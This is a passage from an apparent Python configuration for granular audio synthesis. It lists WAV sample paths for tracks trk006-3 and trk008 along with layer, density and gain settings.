'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_minspeed_graincloud-032.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_minspeed_graincloud-033.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_minspeed_graincloud-034.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_minspeed_graincloud-035.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_minspeed_graincloud-036.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_unmodulated_graincloud-000.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_unmodulated_graincloud-001.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_unmodulated_graincloud-002.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_unmodulated_graincloud-003.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_unmodulated_graincloud-004.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_unmodulated_graincloud-005.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_unmodulated_graincloud-006.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_unmodulated_graincloud-007.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_unmodulated_graincloud-008.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_unmodulated_graincloud-009.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_unmodulated_graincloud-010.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_unmodulated_graincloud-011.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_unmodulated_graincloud-012.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_unmodulated_graincloud-013.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_unmodulated_graincloud-014.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_unmodulated_graincloud-015.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_unmodulated_graincloud-016.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_unmodulated_graincloud-017.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_unmodulated_graincloud-018.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_unmodulated_graincloud-019.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_unmodulated_graincloud-020.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_unmodulated_graincloud-021.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_unmodulated_graincloud-022.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_unmodulated_graincloud-023.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_unmodulated_graincloud-024.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_unmodulated_graincloud-025.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_unmodulated_graincloud-026.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_unmodulated_graincloud-027.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_unmodulated_graincloud-028.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_unmodulated_graincloud-029.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_unmodulated_graincloud-030.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_unmodulated_graincloud-031.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_unmodulated_graincloud-032.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_unmodulated_graincloud-033.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_unmodulated_graincloud-034.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_unmodulated_graincloud-035.wav',
'/home/src/QK/smp/playground/pulsar/data/trk006-3/test_unmodulated_graincloud-036.wav',
],
},
},
# trk008 main
'trk008': {
'raw': {
'gain_max': 6,
'gain_min': -6,
'numlayer': 5,
'density': 0.33,
'files': [
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0000.000000.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0000.213900.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0001.512268.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0003.045170.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0004.843107.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0006.615011.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0006.627324.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0008.240408.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0009.413560.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0010.698458.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0011.831723.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0012.618413.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0014.775057.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0016.413061.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0018.374853.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0018.966122.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0019.901837.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0020.214467.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0020.639955.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0021.958776.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0023.482200.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0023.526281.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0025.556145.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0025.921179.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0026.333152.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0027.540317.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0029.113401.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0030.356599.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0030.727279.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0031.952789.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0032.939705.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0033.417052.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0034.135057.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0034.361701.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0034.740023.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0035.437755.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0035.696077.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0036.397052.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0036.442630.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0037.293605.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0038.723197.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0039.285034.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0040.527460.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0041.135533.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0042.157007.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0042.908322.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0043.849025.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0044.167256.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0044.764649.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0046.011678.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0046.286190.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0046.569410.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0047.097188.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0047.569093.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0048.821950.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0049.187460.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0050.656463.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0051.288980.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0051.765420.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0052.199909.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0053.037143.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0053.982902.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0054.445964.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0054.649796.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0054.821043.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0055.602154.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0056.882472.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0058.521701.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0062.203424.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0063.736485.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0066.493810.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0068.087256.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0069.169909.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0069.663651.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0070.219229.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0070.764376.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0073.784218.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0074.735760.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0075.839796.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0075.864399.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0076.221837.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0076.423946.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0077.614966.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0079.461723.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0080.593129.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0080.998821.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0086.861361.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0088.777823.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0091.299025.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0091.316190.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0092.917120.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0093.260227.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0093.409705.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0094.543651.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0095.327460.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0095.714830.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0096.174535.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0096.329955.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0097.467120.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0098.030091.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0102.422358.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0102.755397.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0103.022744.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0104.421497.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0105.623084.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0106.926893.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0108.235760.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0109.524059.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0110.627279.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0111.760726.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0112.788027.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0114.777959.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0116.676689.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0117.293900.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0117.698231.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0117.843628.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0117.988231.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0118.801882.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0120.039524.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0121.071134.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0121.164535.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0122.046213.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0124.397052.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0125.488073.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0126.771519.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0131.890771.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0132.012517.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0133.220726.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0134.228617.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0135.428118.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0136.448435.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0137.058844.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0138.400544.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0139.284059.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0139.342222.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/trk008-6-sco-20200211-WA0001_0139.410340.wav',
],
},
# trk008 side / proc
'proc': {
'gain_max': 0,
'gain_min': -24,
'numlayer': 10,
'density': 0.66,
'files': [
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/proc/test_graincloud_with_density_lfo-000.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/proc/test_graincloud_with_density_lfo-001.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/proc/test_graincloud_with_density_lfo-002.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/proc/test_graincloud_with_density_lfo-003.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/proc/test_graincloud_with_density_lfo-004.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/proc/test_graincloud_with_density_lfo-005.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/proc/test_graincloud_with_density_lfo-006.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/proc/test_graincloud_with_density_lfo-007.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/proc/test_graincloud_with_density_lfo-008.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/proc/test_graincloud_with_length_lfo-000.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/proc/test_graincloud_with_length_lfo-001.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/proc/test_graincloud_with_length_lfo-002.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/proc/test_graincloud_with_length_lfo-003.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/proc/test_graincloud_with_length_lfo-004.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/proc/test_graincloud_with_length_lfo-005.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/proc/test_graincloud_with_length_lfo-006.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/proc/test_graincloud_with_length_lfo-007.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/proc/test_graincloud_with_length_lfo-008.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/proc/test_graincloud_with_read_lfo-000.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/proc/test_graincloud_with_read_lfo-001.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/proc/test_graincloud_with_read_lfo-002.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/proc/test_graincloud_with_read_lfo-003.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/proc/test_graincloud_with_read_lfo-004.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/proc/test_graincloud_with_read_lfo-005.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/proc/test_graincloud_with_read_lfo-006.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/proc/test_graincloud_with_read_lfo-007.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/proc/test_graincloud_with_read_lfo-008.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/proc/test_graincloud_with_speed_lfo-000.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/proc/test_graincloud_with_speed_lfo-001.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/proc/test_graincloud_with_speed_lfo-002.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/proc/test_graincloud_with_speed_lfo-003.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/proc/test_graincloud_with_speed_lfo-004.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/proc/test_graincloud_with_speed_lfo-005.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/proc/test_graincloud_with_speed_lfo-006.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/proc/test_graincloud_with_speed_lfo-007.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/proc/test_graincloud_with_speed_lfo-008.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/proc/test_maxspeed_graincloud-000.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/proc/test_maxspeed_graincloud-001.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/proc/test_maxspeed_graincloud-002.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/proc/test_maxspeed_graincloud-003.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/proc/test_maxspeed_graincloud-004.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/proc/test_maxspeed_graincloud-005.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/proc/test_maxspeed_graincloud-006.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/proc/test_maxspeed_graincloud-007.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/proc/test_maxspeed_graincloud-008.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/proc/test_minspeed_graincloud-000.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/proc/test_minspeed_graincloud-001.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/proc/test_minspeed_graincloud-002.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/proc/test_minspeed_graincloud-003.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/proc/test_minspeed_graincloud-004.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/proc/test_minspeed_graincloud-005.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/proc/test_minspeed_graincloud-006.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/proc/test_minspeed_graincloud-007.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk008-6-sco-20200211-WA0001/proc/test_minspeed_graincloud-008.wav',
